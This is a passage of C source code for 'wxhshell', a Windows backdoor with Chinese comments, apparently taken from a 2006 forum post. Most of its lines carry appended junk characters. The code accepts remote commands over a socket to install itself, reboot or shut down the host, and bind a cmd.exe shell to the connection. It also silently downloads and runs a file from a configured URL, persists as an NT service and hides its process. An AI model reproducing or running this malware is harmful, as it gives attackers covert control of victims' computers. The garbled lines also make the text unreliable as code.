  else { *"4l}&  
pU[yr'D.r  
    switch(cmd[0]) { y$_]}<b  
  ,nGQVb   
  // 帮助 TtKKU4yp  
  case '?': { ez)Ks`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RCxwiZaf33  
    break; E H%hL5(  
  } 5h Dy62PRr  
  // 安装 [N}QCy  
  case 'i': { <"xqt7f  
    if(Install()) GCX?W`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !IB}&m  
    else +Z86Qz_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b`,Sd.2=('  
    break; ' I!/I  
    } 4HX;9HPHE<  
  // 卸载 UI%4d3   
  case 'r': { K{V.N</  
    if(Uninstall()) zMBGpqdP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x25zk4-  
    else 6l &!4r@}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 98 ]pkqp4  
    break; &A`,hF8  
    }  Y(2Z<d  
  // 显示 wxhshell 所在路径 Jf\`?g3#  
  case 'p': { (0.JoeA`y  
    char svExeFile[MAX_PATH]; V<;_wO^  
    strcpy(svExeFile,"\n\r"); 0IA' 5)  
      strcat(svExeFile,ExeFile); L/I ] NA!U  
        send(wsh,svExeFile,strlen(svExeFile),0); Dl AwB1Ak  
    break; +Ar4X-A{y  
    } K[ S>EITr  
  // 重启 +DR{aX/ll  
  case 'b': { o)x&|0_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <RY!Mc  
    if(Boot(REBOOT)) v&3" (fp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (I'{ pF)  
    else { 0>]&9'cn  
    closesocket(wsh); u47`&\  
    ExitThread(0); ,8d&uR}x  
    } 64`l?F  
    break; C>mFylN  
    } mFxt +\  
  // 关机 H~SU:B:  
  case 'd': { D ] n|d+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5p5"3m;M7  
    if(Boot(SHUTDOWN)) apgKC;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -1`}|t;  
    else { QnS#"hc\a  
    closesocket(wsh); *M0O&"~j  
    ExitThread(0); `P-d. M6Oa  
    } q;IuV&B  
    break; CdPQhv)m  
    } D%c^j9' 1  
  // 获取shell UQ7La 7"  
  case 's': { Wa.!eAe}  
    CmdShell(wsh); E|SmvIV-  
    closesocket(wsh); %g3QE:(2@q  
    ExitThread(0); ,:MUf]Ky  
    break; NYs<`6P:Y  
  } o{n#f?EA  
  // 退出 B,%KvL&xMX  
  case 'x': { OL:hNbw'~T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /BvMNKb$$  
    CloseIt(wsh); l @@pXg3  
    break; ^P/OHuDL  
    }  w}t}Sh  
  // 离开 m qUDve(  
  case 'q': { !dcvG9JZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d{@'&?tj  
    closesocket(wsh); cfg.&P>   
    WSACleanup(); BM)a,fIgo  
    exit(1);  E<0Mluk  
    break; N2k{@DY  
        } A )CsF  
  } '&K' 0qG  
  } 7.g,&s%q  
\u[5O@v#  
  // 提示信息 .*>C[^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X.,R%>O}`P  
} a|3+AWL%  
  } R\#5;W^  
3pL4 Zhf  
  return; px+]/P <dX  
} ,@ f|t&  
W$J.B!O  
// shell模块句柄 h^`@%g9 S  
int CmdShell(SOCKET sock) MBKF8b'k  
{ 0b8=94a{>  
STARTUPINFO si; /Dt:4{aTOC  
ZeroMemory(&si,sizeof(si)); ui|6ih$+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T?=]&9Y'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Av{>W?  
PROCESS_INFORMATION ProcessInfo; b E40^e  
char cmdline[]="cmd"; In!^+j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b].U/=Hs  
  return 0; Zp6VH  
} eWD!/yr|  
/l3Oi@\  
// 自身启动模式 p} eO  
int StartFromService(void) "[7'i<,AI  
{ \VW":+  
typedef struct qf<o"B|_9  
{ *`/4KMrq  
  DWORD ExitStatus; \9od*y  
  DWORD PebBaseAddress; b'R]DS{8  
  DWORD AffinityMask; _+7P"B|\  
  DWORD BasePriority; mL'A$BR`  
  ULONG UniqueProcessId; QyZ' %T5J  
  ULONG InheritedFromUniqueProcessId; XbFo#Pwk  
}   PROCESS_BASIC_INFORMATION; lU&2K$`  
9(vp`Z8B4  
PROCNTQSIP NtQueryInformationProcess; "SWL@}8vx  
E piF$n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'xa EG,P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iS"6)#a72  
I|c?*~7*  
  HANDLE             hProcess; dXsL0r*c  
  PROCESS_BASIC_INFORMATION pbi; $-!7<a-  
+2Aggv>*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;G"!y<F  
  if(NULL == hInst ) return 0; jO*H8 XO  
r~fnK%|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )qFqf<:yc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *p0n^XZ% ?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w( @QRd{  
Fy$ C._C$  
  if (!NtQueryInformationProcess) return 0; ];g ~)z  
{CVZ7tU7]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C$LRX7Z`o  
  if(!hProcess) return 0; 'X/:TOk{W  
mYXL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ju;^^  
d& v 7l  
  CloseHandle(hProcess); J<Ki;_=I  
Zc&pJP+M'U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |gINB3L  
if(hProcess==NULL) return 0; z\K %  
P#8lO%;  
HMODULE hMod; By}ZHK94I  
char procName[255]; L/vw7XNrX  
unsigned long cbNeeded; N#R8ez`  
Ip8:~Fl]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j"zW0g!S  
;>X;cZMd  
  CloseHandle(hProcess); +G7[(Wz(z  
7suT26C  
if(strstr(procName,"services")) return 1; // 以服务启动 q_BMZEM  
IM2<:N%'  
  return 0; // 注册表启动 19oyoi"  
} aSHN*tP%y  
uz=9L<$  
// 主模块 92b}N|u  
int StartWxhshell(LPSTR lpCmdLine) JV/:QV  
{ ;9J6)zg !n  
  SOCKET wsl; 61HJ%  
BOOL val=TRUE; uLI;_,/:  
  int port=0; JZ-64OT  
  struct sockaddr_in door; G[OJ <px  
qk0cf~ gz  
  if(wscfg.ws_autoins) Install(); c@4$)68  
h_\W7xt  
port=atoi(lpCmdLine); Lc-Wf zT  
MBQ|*}+;  
if(port<=0) port=wscfg.ws_port; k<N5*k8M  
{ W5 _KX  
  WSADATA data; R7FI{ A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tBsvi%F  
hW;n^\lF#e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mOLz(0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -ni@+Dy  
  door.sin_family = AF_INET; evVxzU&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8S[bt@v  
  door.sin_port = htons(port); 9c{ ~$zJW  
o{mVXidE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #D >:'ezm  
closesocket(wsl); FZ8Qj8  
return 1; c+whpQ=01  
} wp:Zur5Y  
65mfq&"P ?  
  if(listen(wsl,2) == INVALID_SOCKET) { " Z dI~  
closesocket(wsl); TKEcbGhy  
return 1; OsYZ a`$,  
} 0+w(cf~6  
  Wxhshell(wsl); gh^w !tH3  
  WSACleanup(); =i/ r:  
]{ch]m  
return 0; AB<bW3qf(  
N\CHIsVm>  
} E^pn-rB  
AOTtAV_e  
// 以NT服务方式启动 y4&x`|tv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m-cw5lW  
{ t [G7&ovj  
DWORD   status = 0; 9p4SxMMO  
  DWORD   specificError = 0xfffffff; :)+)L@By  
#9qX:*>h   
  serviceStatus.dwServiceType     = SERVICE_WIN32; z> N73 u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2Z`Jr/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P4E_<v[  
  serviceStatus.dwWin32ExitCode     = 0; l)EtK&er(}  
  serviceStatus.dwServiceSpecificExitCode = 0; 4>N ig.#   
  serviceStatus.dwCheckPoint       = 0; _C'VC#Sy  
  serviceStatus.dwWaitHint       = 0; ]/[@.   
/}CAd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yK_$d0ZGE~  
  if (hServiceStatusHandle==0) return; kmu7~&75  
.n?i' 8  
status = GetLastError(); D@ @"w+  
  if (status!=NO_ERROR) ?dCJv_w  
{ ~BnmAv$m[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W3R43>$  
    serviceStatus.dwCheckPoint       = 0; lJS3*x#H  
    serviceStatus.dwWaitHint       = 0; QlH[_Pi  
    serviceStatus.dwWin32ExitCode     = status; C]na4yE 8  
    serviceStatus.dwServiceSpecificExitCode = specificError; H87k1^}HV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !D/W6Ic@  
    return; v|3mbApv  
  } C9>^!?>  
-Gm}i8;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G=kW4rAk  
  serviceStatus.dwCheckPoint       = 0; ~ntDzF  
  serviceStatus.dwWaitHint       = 0; 4v#s!W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =~21.p  
} eX0 [C0#  
v\}{eP'  
// 处理NT服务事件,比如:启动、停止 B!)Tytm9u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :"Rx$;a  
{ ]XYD2fR2qA  
switch(fdwControl) Emk:@$3{r  
{ w`zS`+4  
case SERVICE_CONTROL_STOP: UyDq`@h  
  serviceStatus.dwWin32ExitCode = 0; aHNn!9#1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E*+]Iq1u  
  serviceStatus.dwCheckPoint   = 0; v,iq,p)&  
  serviceStatus.dwWaitHint     = 0; =:H EF;!  
  { `2q]ju  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &m TYMpA  
  } $ ]^Io)}f@  
  return; m\|EM'@k  
case SERVICE_CONTROL_PAUSE: aQj6XG u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H*",'`|-  
  break; W4nhPH(  
case SERVICE_CONTROL_CONTINUE: ;g<y{o"Q3p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OgCNq W d-  
  break; bhfC2@  
case SERVICE_CONTROL_INTERROGATE: '\"5qB  
  break; 81)i>]  
}; (>*L-&-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &uf|Le4  
} Hig.` P  
)k4&S{=  
// 标准应用程序主函数 ~!/agLwY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uME_/S uO  
{ Z07n>|WF-  
LvL2[xh%&  
// 获取操作系统版本 7<X!Xok  
OsIsNt=GetOsVer(); lKS 2OOYC`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yv"B-oy  
NK%Ok  
  // 从命令行安装 FbW$H]C$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;i ?R+T  
!H6X%hlk  
  // 下载执行文件 )X8N|W>vh  
if(wscfg.ws_downexe) { |jcIn[)=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V&lx0Dy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Z@T /"mU(  
} \[wbJ  
Ghar hJ>v  
if(!OsIsNt) { d8p5a C+E  
// 如果时win9x,隐藏进程并且设置为注册表启动 qGP}  
HideProc(); I(Vg  
StartWxhshell(lpCmdLine); j%8 1q  
} l}D /1~d  
else S&c5Q*->[  
  if(StartFromService()) " #w%sG^_  
  // 以服务方式启动 +IlQZwm~  
  StartServiceCtrlDispatcher(DispatchTable); -<(RYMk*)  
else df&.!7_R`  
  // 普通方式启动 .P ??N  
  StartWxhshell(lpCmdLine); 8,&Y\b`..  
 C8} ;,  
return 0; Z,8t!Y  
}
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只看该作者 1 发表于: 2006-10-10
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